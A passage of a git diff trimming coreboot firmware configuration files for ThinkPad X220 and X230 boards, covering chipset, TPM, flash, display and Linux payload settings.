CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="ThinkPad X220" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X220" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/x220" -CONFIG_VGA_BIOS_ID="8086,0126" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x7E7FFF -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="x220" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_VBOOT_SLOTS_RW_A=y -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X220" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set CONFIG_BOARD_LENOVO_X220=y -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="LEN0020" -CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_8192=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -CONFIG_COREBOOT_ROMSIZE_KB_8192=y -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=8192 -CONFIG_ROM_SIZE=0x00800000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 0217e043a..403fca940 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -1,689 +1,33 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# 